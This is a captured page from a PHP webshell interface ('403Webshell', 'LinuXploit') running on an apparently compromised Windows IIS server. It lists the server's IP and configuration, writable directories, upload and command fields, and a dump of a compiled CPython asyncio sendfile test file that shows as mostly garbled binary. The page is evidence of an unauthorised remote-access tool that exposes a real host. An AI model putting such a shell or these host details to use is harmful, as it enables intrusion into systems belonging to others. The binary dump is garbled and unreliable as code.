403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/test_asyncio/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/test_asyncio/__pycache__/test_sendfile.cpython-315.opt-1.pyc
R
>lqj,`c�6�Qs]PHs]PHs]PHs]PHs]PHs]PHs]PHs]QHGs]QHG	s	]QHG
s
]QH,Gs]QH4Gs]QH4Gs]QH@Gs]PHNsQsQ	Q
\O,2sQQ\O,2sQ
Q2sQQ\2sQQ\2sQQ\\2s\O:Q6Xc.QQ\\O<2sQQ\\O<2s L�]PH�s!\"\!Q2%cQQ\\O<2s#\"\!Q2%cQQ\\O<2s$\"\!Q 2%cQ!Q"\\O<2s%Q#Q\\O<2s\&Q$6Xc\ON2P!P!\cPsCKHh9h)%z!Tests for sendfile functionality.)�base_events)�	constants)�mock)�support)�	os_helper)�
socket_helper)�utilsc�F�[OOP2P!�N)�asyncio�events�_set_event_loop_policy���4C:\Python315\\Lib\test\test_asyncio\test_sendfile.py�tearDownModulers���N�N�)�)�$�/rc�V``�\sQs]snQQksQsQsQsQsU1Qks	Qs
UsU9s!)	�MySendfileProtoc��PUmQUm]UmUd+UO2UmUO2Um[
2UmV mP!)N�INITIAL)	�	transport�state�nbytes�
create_future�	connected�done�	bytearray�data�close_after)�self�looprs&&&r�__init__�MySendfileProto.__init__sL�������
������!�/�/�1�D�N��*�*�,�D�I��K��	�&�rc�d�UOU7c[QUO8QU802gP!)zstate: z, expected: )r�AssertionError)r�expecteds&*r�
_assert_state�MySendfileProto._assert_state(s/���:�:�X�%� �7�4�:�:�.��X�L�!Q�R�R�&rc��VmUOQ2QUmUO%cUOO	P2P!P!)r�	CONNECTED)rr%rr�
set_result�rrs&&r�connection_made�MySendfileProto.connection_made,s<��"�����9�%� ��
��>�>�>��N�N�%�%�d�+�rc�8�UOQ2QUmP!)r(�EOF)r%r�rs&r�eof_received�MySendfileProto.eof_received3s�����;�'���
rc��UOQQ2QUmUO%cUOOP2P!P!)r(r.�CLOSED)r%rrr)�r�excs&&r�connection_lost�MySendfileProto.connection_lost7s9�����;��.���
��9�9�9��I�I� � ��&�rc�Z:�UOQ2U9O[U2*
tmUOO	U2[
RU_U2UO%c:UOUO6�cUOO2P!P!P!)r()
r%r�lenr�extend�super�
data_receivedrr�close)rr�	__class__s&&�rr<�MySendfileProto.data_received=sx������;�'����s�4�y� ���	�	�����
���d�#��������t�/?�/?� ?��N�N� � �"�!@�r)rrrrrrr)N�)
�__name__�
__module__�__qualname__�__firstlineno__r r%r+r0r6r<�__static_attributes__�__classdictcell__�
__classcell__�r>�
__classdict__s@@rrrs)����'�S�,��'�#�#rrc�@`�\sQs]FsnQsQsQsQsQsQs	Us
P!)�MyProtoc�z�P
UmP
Um[2UmUO	2UmPUmP!�F)�started�closedrrr�futr)rrs&&rr �MyProto.__init__Hs0���������K��	��%�%�'�����rc�"�P	UmVmP!�T)rNrr*s&&rr+�MyProto.connection_madeOs�����"�rc�>�UOOU2P!r	)rr:)rrs&&rr<�MyProto.data_receivedSs���	�	����rc�L�P	UmUOOP2P!rS)rOrPr)r4s&&rr6�MyProto.connection_lostVs����������D�!rc��@ �UOEPiw�K
P!K3hr	)rPr/s&r�wait_closed�MyProto.wait_closedZs����h�h���s���)rOrrPrNr)rArBrCrDr r+r<r6rZrErF�rIs@rrKrKFs#�����#��"��rrKc��``�\sQs]^snQQ
*s\OOQ2%cQsLQsQs	\
U1Qk2s\
U1Qk2sU1Qks
U1QksQsQ	sUsU9s!)
�SendfileBase�x�	dragonflyc��[gr	)�NotImplementedErrorr/s&r�create_event_loop�SendfileBase.create_event_loopls��!�!rc��:�[[OQ29^tt^2oUOUO2PPP2[
RU_2P!)%fhK 9h)�wb)�openr�TESTFN�write�DATAr;�
setUpClass)�cls�fpr>s& �rrk�SendfileBase.setUpClassosA���
�)�"�"�D�
)�
)�R��H�H�S�X�X��*�
����*�
)�s�A�A)	�"A)	c�n:�[O[O2[RU_2P!r	)r�unlinkrhr;�
tearDownClass�rlr>s&�rrq�SendfileBase.tearDownClassus"�������)�)�*�
���rc�:�[[OQ2UmUO	UOO
2UO
2UmUOUO2[RU_)2P!)�rb)rgrrh�file�
addCleanupr=rcr�set_event_loopr;�setUp�rr>s&�rry�SendfileBase.setUpzsV�����)�)�4�0��	�����	�	���(��*�*�,��	����D�I�I�&�
��
�rc��:�UOO2%f![OUO2UO	2[
O2[RU_!2P!r	)	r�	is_closed�
test_utils�run_briefly�
doCleanupsr�
gc_collectr;�tearDownrzs&�rr��SendfileBase.tearDown�sI����y�y�"�"�$�$��"�"�4�9�9�-���������
���rc�:�UOOU2!r	)r�run_until_complete)r�coros&&r�run_loop�SendfileBase.run_loop�s���y�y�+�+�D�1�1r)rvrii��)rArBrCrDrj�sys�platform�
startswith�BUF_SIZErc�classmethodrkrqryr�r�rErFrGrHs@@rr^r^^st����
�%�&�D�
�|�|���{�+�+�����"�����
� �� ���2�2rr^c�``�\sQs]�sn\U1Qk2s\U1Qk2sQQksQsQQks	Qs
QsQsQ	s
QQ
ksQsQsQ
sQsQsUsU9s!)�SockSendfileMixinc�f:�[OUmQ[m[RU_2P!)�i@)r�!SENDFILE_FALLBACK_READBUFFER_SIZE�_SockSendfileMixin__old_bufsizer;rkrrs&�rrk�SockSendfileMixin.setUpClass�s$���%�G�G���6?�	�3�
���rc�P:�UO[m[RU_2P!r	)r�rr�r;rqrrs&�rrq�SockSendfileMixin.tearDownClass�s���69�6G�6G�	�3�
���rc���[O[O[O2oUOP
2U%cUO	UO
2U!rM)�socket�AF_INET�SOCK_STREAM�setblockingrwr=)r�cleanup�socks&& r�make_socket�SockSendfileMixin.make_socket�sB���}�}�V�^�^�V�-?�-?�@���������O�O�D�J�J�'��rc�z�UO[O[OUO2P!r	)�
setsockoptr��
SOL_SOCKET�	SO_RCVBUFr�)rr�s&&r�reduce_receive_buffer_size�,SockSendfileMixin.reduce_receive_buffer_size�s$��	
����)�)�6�+;�+;�T�]�]�Krc��UO[O[OUO2UdUOUOQ5P!P!)N)�high)r�r�r��	SO_SNDBUFr��set_write_buffer_limits)rr�rs&&&r�reduce_send_buffer_size�)SockSendfileMixin.reduce_send_buffer_size�sD��
	
����)�)�6�+;�+;�T�]�]�K�� ��-�-�4�=�=�-�A�!rc�```�[RO2n[O2oRO	P
Q5oUO[OU12ROROOU1QkUQ52nROU2RO	2oROROOUQU122ROU2UUU1QkoROU2UR1!)F)r�c�
:�R!r	r
)�protos�r�<lambda>�8SockSendfileMixin.prepare_socksendfile.<locals>.<lambda>�s���Er)r�z	127.0.0.1c�:�ROd:ROO2RORO22RO2RORO22P!r	)rr=r�rZ)r�r�servers���rr��7SockSendfileMixin.prepare_socksendfile.<locals>.cleanup�sR������*����%�%�'��
�
�e�/�/�1�2��L�L�N��M�M�&�,�,�.�/r)
rKrr�find_unused_portr��bind�HOSTr��
create_serverr��sock_connectr�rw)r�port�srv_sockr�r�r�r�sf    @@r�prepare_socksendfile�&SockSendfileMixin.prepare_socksendfile�s������	�	�"���-�-�/���#�#�E�#�2���
�
�}�)�)�4�0�1����t�y�y�6�6��� 7� *�+���'�'��1����!���
�
�d�i�i�,�,�T�K��3F�G�H��$�$�T�*�	0�	
���� ��U�{�rc��UO2vqUOUOOVO22oUO2UOUO
22UOU[UO22UOUOUO2UOUOO2[UO22P!r	)r�r�r�
sock_sendfilervr=rZ�assertEqualr9rjr�tell�rr�r��rets&   r�test_sock_sendfile_success�,SockSendfileMixin.test_sock_sendfile_success�s����/�/�1����m�m�D�I�I�3�3�D�)�)�D�E���
�
���
�
�e�'�'�)�*�����c�$�)�)�n�-�������T�Y�Y�/���������)�3�t�y�y�>�:rc���UO2vqUOUOOVOQQ22oUO2UOUO
22UOUOUOQ*2UOUOO2Q2UOUQ2P!)��i�:r�i�Ni�)r�r�rr�rvr=rZr�rrjr�r�s&   r�(test_sock_sendfile_with_offset_and_count�:SockSendfileMixin.test_sock_sendfile_with_offset_and_count�s����/�/�1����m�m�D�I�I�3�3�D�)�)�48�$�@�A���
�
���
�
�e�'�'�)�*�������T�Y�Y�y�%9�:���������)�4�0�����d�#rc
���UO2vq[O29^tt^2oUOUOOV]P22oPPP2UO
2UOUO22UOW]2UOUOO2]2P!)%fhK}9h)r@)r��tempfile�
TemporaryFiler�rr�r=rZr�rvr�)rr�r��fr�s&    r�test_sock_sendfile_zero_size�.SockSendfileMixin.test_sock_sendfile_zero_size�s����/�/�1���
�
#�
#�
%�
%���-�-��	�	� 7� 7��89�4�!A�B�C�&�	
�
�
���
�
�e�'�'�)�*�����a� ���������)�1�-�&�
%�s�-C�C#	�C#	c�z�UO2vqE[O29^tt^2oUOU2UO	2UOUO
2[U22U%cdQo[OUOQU29^tt^2UOUOOVFUP22oPPP2L,UOUOOVFUP22oUOUO
2[U22PPP2UO2UOUO22UOW[U2U*
2P!)%fhK�9h)%fhKv9h)c��H �[OO2g3hr	)r
�
exceptions�SendfileNotAvailableError)r�rv�offset�counts&&&&r�_sock_sendfile_fail�ISockSendfileMixin.check_sock_sendfile_offset.<locals>._sock_sendfile_fail�s���!�,�,�F�F�H�H�s� "�_sock_sendfile_native)r�r�r�ri�flushr�r�r9r�	swap_attrrr�r�r=rZ)	rrr��force_fallbackr�r�r�r�r�s	&&&&     r�check_sock_sendfile_offset�,SockSendfileMixin.check_sock_sendfile_offset�s.���/�/�1���
�
#�
#�
%�
%��
�G�G�D�M�
�G�G�I����Q�V�V�X�s�4�y�1��I��&�&�t�y�y�2I�K^�_�_��-�-��	�	�(?�(?���QU�(V�W�C�`�_��m�m�D�I�I�$;�$;�D�V�T�$R�S�����Q�V�V�X�s�4�y�1�&�	
�
�
���
�
�e�'�'�)�*�����c�$�i�&�0�1�`�_��&�
%�s7�AF*�-F*�1-F	�AF*�F'
� F'
�"F*�*F:	�3F:	c��Qo][U2]*[U21FDBoQFD8oUOV#Q59^tt^2UOVU2PPP2J:	JD	P!)%fhJS9h)sabcdef)r�r��FT)r9�subTestr�)rrr�r�s&   r�test_sock_sendfile_offset�+SockSendfileMixin.test_sock_sendfile_offsetsb�����#�d�)�q�.�#�d�)�4�F�"/���\�\��\�O�O��3�3�D�.�Q�P�O�#0�5�O�O�O�s�A+
�+A<�4A<c��UO2vq4UOO]{2UOO	UO
UOVQ5oUO
U2oUO
O2UO
UO2UOU[UO2U*
2UOUO[UO2U*
2UOUOUOUP2UOUOO!2[UO22P![OcCS%cgSO
O2SO
SO2P!h9h)�{��fallback)�prepare_sendfilerv�seekr�sendfilerr�r
r�r=rr�r9rjrrr�)rr�r��	srv_proto�	cli_protor�r�s&&&    r�check_sendfile_offset�'SockSendfileMixin.check_sendfile_offset
sC��#�4�4�6��	��	�	���s���y�y�!�!�)�"5�"5�t�y�y�&�!�\��	��-�-��%�C�	���!�!�#��
�
�i�n�n�%�����c�$�)�)�n�v�5�6�����)�)�3�t�y�y�>�F�+B�C����������6�7�);�<���������)�3�t�y�y�>�:���0�0�	������%�%�'��M�M�)�.�.�)��	�s�"E2�2G	�G	�6G	�G	c� �][UO2]*[UO21FDAoQFD7oUOVQ59^tt^2UOV2PPP2J9	JC	P!)%fhJR9h)r@)r�r�r�)r9rjr�r�)rr�r�s&  r�test_sendfile_offset�&SockSendfileMixin.test_sendfile_offsetsd���#�d�i�i�.�A�-�s�4�9�9�~�>�F�)���\�\��\�C�C��.�.�v�@�D�C�*�?�C�C�C�s�A<
�<B
�B
c���QQ*oUO2vq#UOUOOV!22UOUOO	V O
22oUOUOOV!22UO
2UOUO22UOU[UO22VO*U*oUOUOU2UOUO
O2[UO22P!)smix_regular_sendr�)
r�r�r�sock_sendallr�rvr=rZr�r9rjrr�)r�bufr�r�r�r$s&     r�(test_sock_sendfile_mix_with_regular_send�:SockSendfileMixin.test_sock_sendfile_mix_with_regular_send#s���!�X�.���/�/�1����
�
�d�i�i�,�,�T�7�8��m�m�D�I�I�3�3�D�)�)�D�E���
�
�d�i�i�,�,�T�7�8��
�
���
�
�e�'�'�)�*�����c�$�)�)�n�-����?�S�(��������X�.���������)�3�t�y�y�>�:rr
rSr	rM)rArBrCrDr�rkrqr�r�r�r�r�r�r�r�r�r�r�r�rErFrGrHs@@rr�r��sp��������
� �� ��L�
B��6;�	$�	.�2�.R�;�&A�;�;rr�c�|`�\sQsQsnQP
Q]-Qks\O\OQ6HQ2Q2s	Qs
Q	sQ
sQs
QsQ
sQsQsQsQsQs\O\OO+Q2Q2Q2sQs\O\\Q2%(Q2Q2sQsQsUsP!)�
SendfileMixin�2�is_sslrc	�```
`�[O2o[ROUQ5nU%cI[%fROQ2[O2o[O2oLPoPo[O[O[O2oUO[OU12ROROOU1QkVdQ52n
RO!U2U%c[OoLPo[O[O[O2oUO#[OU12[ROQ5nROROO%U1QkUVWQ52vq�RO'V�Q5UUU
U1QkoRO)U2RR1!)	)rrz
No ssl modulec�
:�R!r	r
)r�s�rr��0SendfileMixin.prepare_sendfile.<locals>.<lambda>E����Ir)r��ssl)rc�
:�R!r	r
)r�s�rr�r�Qr�r)r�r��server_hostname)rc�<:�ROO2ROO2RORO2RORO2RO2RORO	22P!r	)rr=r�rrZ)r�rr�r�s����rr��/SendfileMixin.prepare_sendfile.<locals>.cleanupUse������%�%�'����%�%�'��M�M�)�.�.�)��M�M�)�.�.�)��L�L�N��M�M�&�,�,�.�/r)rr�rrr��skipTestr~�simple_server_sslcontext�simple_client_sslcontextr�r�r�r�r�r�r�r��connect�create_connectionr�rw)rr�rr��srv_ctx�cli_ctxr�r�cli_sock�tr�prr�r�r�r�sf$$         @@@rr��SendfileMixin.prepare_sendfile6s~����-�-�/��#����0;�=�	���3��
�
�o�.� �9�9�;�G� �9�9�;�G��G��G��=�=�����1C�1C�D���
�
�}�)�)�4�0�1����t�y�y�6�6��H� 7� ;�<���'�'��1��+�0�0�O�"�O��=�=�����1C�1C�D�����-�,�,�d�3�4�#����3�	����t�y�y�:�:��H�� ;� :�;���	
�$�$�X�$�<�	0�	0�	
���� ��)�#�#r�win32zUDP sockets are not supportedc��UOUOO[O[
OQ52vqUO[Q29^tt^2UOUOOVO22PPP2UO]UOO22UO2P!)%fhKL9hSO2h9h))�family�
not supported)r�r�create_datagram_endpointr
�DatagramProtocolr�r��assertRaisesRegex�RuntimeErrorr�rvr�r�r=)rrrs&  r�test_sendfile_not_supported�)SendfileMixin.test_sendfile_not_supportedas�������I�I�.�.��(�(��~�~�
/�
'�(���	��'�'��o�F�F��
�
��I�I�&�&�r�9�9�5�7�G�
���Q��	�	��� 0�1�
�H�H�J�
G�F��
�H�H�J�s*�
C7�+5C$� 2C7�$C4	�-C4	�/C7�7D	c��UO2vqUOUOOUOUO
22oUOO
2UOUO2UOU[UO22UOUO[UO22UOUOUO2UOUO
O2[UO22P!r	�r�r�rr�rrvr=rr�r9rjrrr��rr�r�r�s&   r�
test_sendfile�SendfileMixin.test_sendfileps���#�4�4�6��	��m�m��I�I���y�2�2�D�I�I�>�@�����!�!�#��
�
�i�n�n�%�����c�$�)�)�n�-�����)�)�3�t�y�y�>�:����������3���������)�3�t�y�y�>�:rc�`�RO2vqU1QkoUROmROROO	UO
RO22oUO
O2ROUO2ROU[RO22ROUO[RO22ROUORO2ROROO2[RO22P!)c�\:�[OOROVV#2!r	�r�
BaseEventLoop�_sendfile_nativer��transprvr�r�rs&&&&�r�sendfile_native�CSendfileMixin.test_sendfile_force_fallback.<locals>.sendfile_native~�'����,�,�=�=��	�	�6��8�
8r)r�rr!r�r�rrvr=rr�r9rjrrr�)rr�r�r$r�sf    r�test_sendfile_force_fallback�*SendfileMixin.test_sendfile_force_fallback{s����#�4�4�6��	�	8�
&5��	�	�"��m�m��I�I���y�2�2�D�I�I�>�@�����!�!�#��
�
�i�n�n�%�����c�$�)�)�n�-�����)�)�3�t�y�y�>�:����������3���������)�3�t�y�y�>�:rc
�`�[OQ6Xc<[RO[O
2%cRO
Q2RO2vqU1QkoUROmRO[OQ29^tt^2ROROOUOROP
Q52PPP2UOO2ROUO 2RO#UO$]2RO#ROO'2]2P!)%fhK�9h)rzFails on proactor event loopc�\:�[OOROVV#2!r	rr"s&&&&�rr$�MSendfileMixin.test_sendfile_force_unsupported_native.<locals>.sendfile_native�r&rrr�)r�r��
isinstancerr
�ProactorEventLooprr�r!rr�r�r�rrvr=rr�rr�)rr�r�r$sf   r�&test_sendfile_force_unsupported_native�4SendfileMixin.test_sendfile_force_unsupported_native�s����<�<�7�"��$�)�)�W�%>�%>�?�?��
�
�<�=�#�4�4�6��	�	8�
&5��	�	�"�
�
#�
#�G�$E�$E�$3�5�5��M�M��	�	�"�"�9�#6�#6��	�	�,1�#�3�
4�5�	���!�!�#��
�
�i�n�n�%�����)�)�1�-���������)�1�-�5�5�s�$AE+�+E;	�4E;	c��UOP	Q5vqUOUOOUOUO
22oUOO
2UOUO2UOU[UO22UOUO[UO22UOUOUO2UOUO
O2[UO22P!)T�r�rrs&   r�test_sendfile_ssl�SendfileMixin.test_sendfile_ssl�s���#�4�4�D�4�A��	��m�m��I�I���y�2�2�D�I�I�>�@�����!�!�#��
�
�i�n�n�%�����c�$�)�)�n�-�����)�)�3�t�y�y�>�:����������3���������)�3�t�y�y�>�:rc��UO2vqUOO2UO[Q29^tt^2UOUOOUOUO22PPP2UOUO2UOUO]2UOUOO2]2P!)%fhKs9h)z
is closing)
r�rr=rrr�rr�rvrr�rr��rr�r�s&  r� test_sendfile_for_closing_transp�.SendfileMixin.test_sendfile_for_closing_transp�s���#�4�4�6��	����!�!�#�
�
#�
#�L�,�
?�
?��M�M�$�)�)�,�,�Y�-@�-@�$�)�)�L�M�@��
�
�i�n�n�%�����)�)�1�-���������)�1�-�	@�
?�s�AC7�7D	�D	c���UO2vqQQ*oQQ*oUOOU2UOUOOUOUO22oUOOU2UOO2UOUO2UOU[UO22UOUOV0O*U*2UOUOO2[UO22P!)sPREFIX__r�s--SUFFIX�r�rrir�rr�rvr=rr�r9rjrr��rr�r��PREFIX�SUFFIXr�s&     r�test_sendfile_pre_and_post_data�-SendfileMixin.test_sendfile_pre_and_post_data�s���#�4�4�6��	��t�#���t�#�����!�!�&�)��m�m��I�I���y�2�2�D�I�I�>�@�����!�!�&�)����!�!�#��
�
�i�n�n�%�����c�$�)�)�n�-��������)�)�);�f�)D�E���������)�3�t�y�y�>�:rc���UOP	Q5vqQQ*oQQ*oUOOU2UOUOOUOUO22oUOOU2UOO2UOUO2UOU[UO22UOUOV0O*U*2UOUOO2[UO22P!)Tr1szxcvbnmr�s
0987654321r9r:s&     r�#test_sendfile_ssl_pre_and_post_data�1SendfileMixin.test_sendfile_ssl_pre_and_post_data�s���#�4�4�D�4�A��	��d�"����%�����!�!�&�)��m�m��I�I���y�2�2�D�I�I�>�@�����!�!�&�)����!�!�#��
�
�i�n�n�%�����c�$�)�)�n�-��������)�)�);�f�)D�E���������)�3�t�y�y�>�:rc�"�UO2vqUOUOOUOUO
Q]d22oUOO
2UOUO2UOU]d2UOUO]d2UOUOUOQ*2UOUO
O2Q2P!)r��r�iLN�L�
r�r�rr�rrvr=rr�rrrjr�rs&   r�test_sendfile_partial�#SendfileMixin.test_sendfile_partial�s���#�4�4�6��	��m�m��I�I���y�2�2�D�I�I�t�S�I�K�����!�!�#��
�
�i�n�n�%�����c�"�����)�)�3�/����������9�)=�>���������)�4�0rc�&�UOP	Q5vqUOUOOUOUO
Q]d22oUOO
2UOUO2UOU]d2UOUO]d2UOUOUOQ*2UOUO
O2Q2P!)Tr1r�rCrDrErs&   r�test_sendfile_ssl_partial�'SendfileMixin.test_sendfile_ssl_partial�s���#�4�4�D�4�A��	��m�m��I�I���y�2�2�D�I�I�t�S�I�K�����!�!�#��
�
�i�n�n�%�����c�"�����)�)�3�/����������9�)=�>���������)�4�0rc��UO[UO2Q5vqUOUOOUOUO22oUOO2UOUO2UOU[UO22UOUO[UO22UOUOUO2UOUOO2[UO22P!)�r)r�r9rjr�rr�rrvr=rr�rrr�rs&   r�(test_sendfile_close_peer_after_receiving�6SendfileMixin.test_sendfile_close_peer_after_receiving�s���#�4�4��D�I�I�� 5� (��	��m�m��I�I���y�2�2�D�I�I�>�@�����!�!�#��
�
�i�n�n�%�����c�$�)�)�n�-�����)�)�3�t�y�y�>�:����������3���������)�3�t�y�y�>�:rc�z�UOP	[UO2Q5vqUOUOOUOUO22oUOUO2UOU[UO22UOUO[UO22UOUOUO2UOUOO2[UO22P!)T)r�r)
r�r9rjr�rr�rrvrr�rrr�rs&   r�,test_sendfile_ssl_close_peer_after_receiving�:SendfileMixin.test_sendfile_ssl_close_peer_after_receiving�s���#�4�4��S����^� 5� 5��	��m�m��I�I���y�2�2�D�I�I�>�@���
�
�i�n�n�%�����c�$�)�)�n�-�����)�)�3�t�y�y�>�:����������3���������)�3�t�y�y�>�:r�sunoszDoesn't work on Solarisc��UOQQ5vqUO[29^tt^2UOUOOUOUO22PPP2UOUO2SOQUOt96*9%c[UO26LtUO2[OQ6Xc+[UO[ O"2%fjSOQUOO%2t96*9%c[UO26LtUOO%22UOUOO'22P!)%fhCKL9h)r�rLr)r��assertRaises�ConnectionErrorr�rr�rrvr�
assertTruerr9rjr�r�r,r
r-r��
is_closingr5s&  r�3test_sendfile_close_peer_in_the_middle_of_receiving�ASendfileMixin.test_sendfile_close_peer_in_the_middle_of_receivings%�� $�4�4��4�F��	�
�
�
��
/�
/��M�M��	�	�"�"�9�#6�#6��	�	�B�
D�0�	
�
�
�i�n�n�%�����	� 0� 0�A�A�3�t�y�y�>�A�!�(�(�	*�����'��t�y�y�'�*C�*C�D�D��O�O�D�D�I�I�N�N�$4�E�E�s�4�9�9�~�E� �I�I�N�N�,�
.����	�+�+�6�6�8�9�0�
/�
/�s�AF6�6G	�?G	c�`�U1QkoUROmROQQ5vq#RO[29^tt^2ROROO
UORO22PPP2ROUO2ROQUO t96*9%c[#RO$26LtUO 2ROQROO'2t96*9%c[#RO$26LtROO'22P![cAoSO[O6Xc[OQ6Xc[ggPo=hh9h)%fhCK29h)c�\:�[OOROVV#2!r	rr"s&&&&�rr$�cSendfileMixin.test_sendfile_fallback_close_peer_in_the_middle_of_receiving.<locals>.sendfile_nativer&rr�rL�darwin)rr!r�rTrUr�r�rrv�OSError�errno�
EPROTOTYPEr�r�rrVrr9rjr�)rr$r�r��esf    r�<test_sendfile_fallback_close_peer_in_the_middle_of_receiving�JSendfileMixin.test_sendfile_fallback_close_peer_in_the_middle_of_receivings8���	8�
&5��	�	�"�#�4�4��4�F��	�
�
�
��
/�
/�	
��
�
��I�I�&�&�y�':�':�D�I�I�F�H�0�	
�
�
�i�n�n�%�����	� 0� 0�A�A�3�t�y�y�>�A�!�(�(�	*������	�	��� 0�A�A�3�t�y�y�>�A��	�	���(�	*���
��7�7�e�.�.�.�3�<�<�8�3K�)�)���

��	0�
/�
/�sB�F6�
?E(�(	F3�2F3�3F.�F.�'F.�.F3�3F6�6G	�?G	r�z"Don't have native sendfile supportc��```�RO2vonROO2nUUU1QkoROOU22oRO	R2RO[Q29^tt^2ROOQ2PPP2RO	U2oROU[RO22P!)%fhKH9h)c��: �ROP2ROORORO2EPiw�K
!K3hr	)r)rr�rrv)r�rPrs���rr��=SendfileMixin.test_sendfile_prevents_bare_write.<locals>.coro<s<�����N�N�4� ����+�+�I�,?�,?����K�K�K�K�K�s�AA�
A�Azsendfile is in progresssdata)r�rr�create_taskr�rrrrir�r9rj)rr�r��tr�r�rPsf    @@r�!test_sendfile_prevents_bare_write�/SendfileMixin.test_sendfile_prevents_bare_write6s���� $�4�4�6��	�9��i�i�%�%�'��	L�
�I�I�!�!�$�&�)���
�
�c��
�
#�
#�L�$=�?�?����%�%�g�.�?��m�m�A�������c�$�)�)�n�-�	?�?�s�	C%�%C5	�.C5	c
�x�[O2oQUOm[O
OUmUO[Q29^tt^2UOOUOOUPP
Q52PPP2P!)%fhP!9h)c��P
!rMr
r
rrr��PSendfileMixin.test_sendfile_no_fallback_for_fallback_transport.<locals>.<lambda>Js��5rzfallback is disabledr�)
r�MockrW�side_effectr�
_SendfileMode�FALLBACK�_sendfile_compatiblerrrr�r�r*s& r�0test_sendfile_no_fallback_for_fallback_transport�>SendfileMixin.test_sendfile_no_fallback_for_fallback_transportHs���I�I�K�	�+8�	���(�)2�)@�)@�)I�)I�	�&�
�
#�
#�L�2H�
I�
I��I�I�(�(��	�	�"�"�9�d�U�"�C�
E�J�
I�
I�
I�s�&8B(�(B9	�1B9	r
)rArBrCrDr��unittest�skipIfr�r�rrr'r.r2r6r=r@rFrIrMrPr�rXrb�hasattr�osrirsrErFr\s@rr�r�2s�����)$��)$�A�)$�V�_�_�S�\�\�W�,�.M�N��O��	;�;�&.�0	;�.�;�;�	1�	1�
;�	;��_�_�S�\�\�,�,�W�5�.�0�:�0�:� *�:�_�_���Z�0�0�9�;�.�;�.� E�Err�c��\sQsQsQsP!)�SendfileTestsBase�Qr
)rArBrCrDrEr
rrrzrzQs��rrzrc�(`�\sQsQsnQsQsUsP!)�SelectEventLoopTests�Wc�.�[O2!r	)r
�SelectorEventLoopr/s&rrc�&SelectEventLoopTests.create_event_loopZ����,�,�.�.rr
�rArBrCrDrcrErFr\s@rr}r}W�����	/�	/rr}c�(`�\sQsQsnQsQsUsP!)�ProactorEventLoopTests�]c�.�[O2!r	)r
r-r/s&rrc�(ProactorEventLoopTests.create_event_loop`r�rr
r�r\s@rr�r�]r�rr��KqueueSelectorc�(`�\sQsQsnQsQsUsP!)�KqueueEventLoopTests�gc�V�[O[O22!r	)r
r��	selectorsr�r/s&rrc�&KqueueEventLoopTests.create_event_loopjs!���0�0��,�,�.�0�0rr
r�r\s@rr�r�gs����
0�
0rr��
EpollSelectorc�(`�\sQsQsnQsQsUsP!)�EPollEventLoopTests�oc�V�[O[O22!r	)r
r�r�r�r/s&rrc�%EPollEventLoopTests.create_event_looprs���0�0��1H�1H�1J�K�Krr
r�r\s@rr�r�os����
L�
Lrr��PollSelectorc�(`�\sQsQsnQsQsUsP!)�PollEventLoopTests�vc�V�[O[O22!r	)r
r�r�r�r/s&rrc�$PollEventLoopTests.create_event_loopys���0�0��1G�1G�1I�J�Jrr
r�r\s@rr�r�vs����
K�
Krr�c�(`�\sQsQsnQsQsUsP!)r}�}c�V�[O[O22!r	)r
r�r��SelectSelectorr/s&rrcr��s���,�,�Y�-E�-E�-G�H�Hrr
r�r\s@rr}r}}s����	I�	Ir�__main__)(�__doc__r
r_rxr�r�r�rurrr�testr�test.supportrr�test.test_asynciorr~r��ImportErrorr�ProtocolrrKr^r�r�rzr��TestCaser}r�r�rwr�r�r�rA�mainr
rr�<module>r�s���'���	�
�
�������"�&�1���
0�'#�g�&�&�'#�T�g����0-2�-2�`a;��a;�H\E�L�\E�~	�
�'8�	��<�<�7��/�0�)�2�2�/�/�!2�!+�!4�!4�/���y�*�+�+�	0�#4�#-�#6�#6�	0��y�/�*�*�	L�"3�",�"5�"5�	L��y�.�)�)�	K�!2�!+�!4�!4�	K�I�0�)�2�2�I��z���M�M�O���a��
�C��s�F�F�F�F

Youez - 2016 - github.com/yon3zu
LinuXploit